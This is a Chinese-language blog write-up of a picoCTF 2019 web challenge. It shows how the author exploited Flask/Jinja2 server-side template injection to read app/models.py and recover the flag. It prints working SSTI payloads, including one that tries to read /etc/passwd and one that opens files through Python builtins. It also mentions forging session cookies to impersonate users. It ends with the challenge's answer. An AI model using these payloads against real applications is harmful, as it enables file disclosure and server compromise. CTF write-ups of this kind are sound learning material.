後續還有一個系列問題,搭配第30天整理剛好完賽,真是太美妙了...除了解不出來以外 XD
Agent 513! One of your dastardly colleagues is laughing very sinisterly! Can you access his todo list and discover his nefarious plans? https://2019shell1.picoctf.com/problem/21884/ (link) or http://2019shell1.picoctf.com:21884
探員513,你的一名壞同事笑的我心裡發毛呀,你能偷存取他的 todo 工具項目並找出他的犯罪計劃嗎? 網址在 https://2019shell1.picoctf.com/problem/21884/ (link) 或是 http://2019shell1.picoctf.com:21884。
Pay attention to the feedback you get
There is very limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.
The database gets reverted every 2 hours if you do break it, just come back later
不意外,HINT 與前傳系列相同,完全沒幫助...題目明確的告訴你秘密在 todo 這個表格。
與 Empires2 相同,嘗試特殊符號如 ' <>1 <> ' 皆會被正確處理,無法注入 SQL...
在 在 Empires2 解出來後,一開始的做法就是先試看看{{}}漏洞是否還存在...有的!
雖然輸入 {{ config.items() } }的結果已經不同..
那會不會是要使用”正規” 的手法?,翻翻上題參考中的正規解碼。
繼續失敗...(其實解出來也就是 {{session}} 的值)
沒關係,有漏洞有希望!
google “flask injection template” 發現還有幾個可以取得內容的語法,其中的 {{ [].class.base.subclasses() }} 可以得知列舉出網頁程式的程式碼
再往下使用該文中的 payload 則失敗,無法再繼續下去
{{[].__class__.__base__.__subclasses__().pop(40)('etc/passwd').read() }}
因此再試圖從 Empires2 找尋可能的解法。搜遍各式解法後,其中一篇解題就有使用到列舉程式內容!
於是直接輸入最終的 payload
'{{''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__['open'](''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__.__import__('os').path.join('app', 'models.py')).read()}}'
Very Urgent: 'from app import db,login from werkzeug.security import generate_password_hash,check_password_hash from flask_login import UserMixin @login.user_loader def load_user(id): return User.query.get(int(id)) class User(UserMixin, db.Model): id = db.Column(db.Integer, primary_key=True) username = db.Column(db.String(64),index=True,unique=True) name = db.Column(db.String(128)) password_hash = db.Column(db.String(128)) secret = db.Column(db.String(128),default="picoCTF{cookies_are_a_sometimes_food_a8b9006b}") admin = db.Column(db.Integer,default=0) def set_password(self,password): self.password_hash = generate_password_hash(password) def check_password(self,password): return check_password_hash(self.password_hash,password) def repr(self): return '<User {}>'.format(self.username) class Todo(db.Model): id = db.Column(db.Integer,primary_key=True) item = db.Column(db.String(256)) user_id = db.Column(db.Integer,db.ForeignKey('user.id')) def repr(self): return '<Todo {}>'.format(self.id) '
拿到 flag!仍然藏在 models.py 中。
這次的解法雖然因為 Empires2 偷吃步偷很大,其中的手法並不簡單,回頭花不少時間詳閱該文中的 “Sessing:”段落,了解如何一步步列出檔案、查看內容等詳細過程。
另外解題過程中有提到在正規方式解碼在本題沒有作用一點,也是需要小小修正。使用該技巧可以解碼再編碼後,便可冒用別的使用者...
咦?這好像才是本題的原意啊!
越難的題目,解法也越來越多元了。
picoCTF{cookies_are_a_sometimes_food_a8b9006b}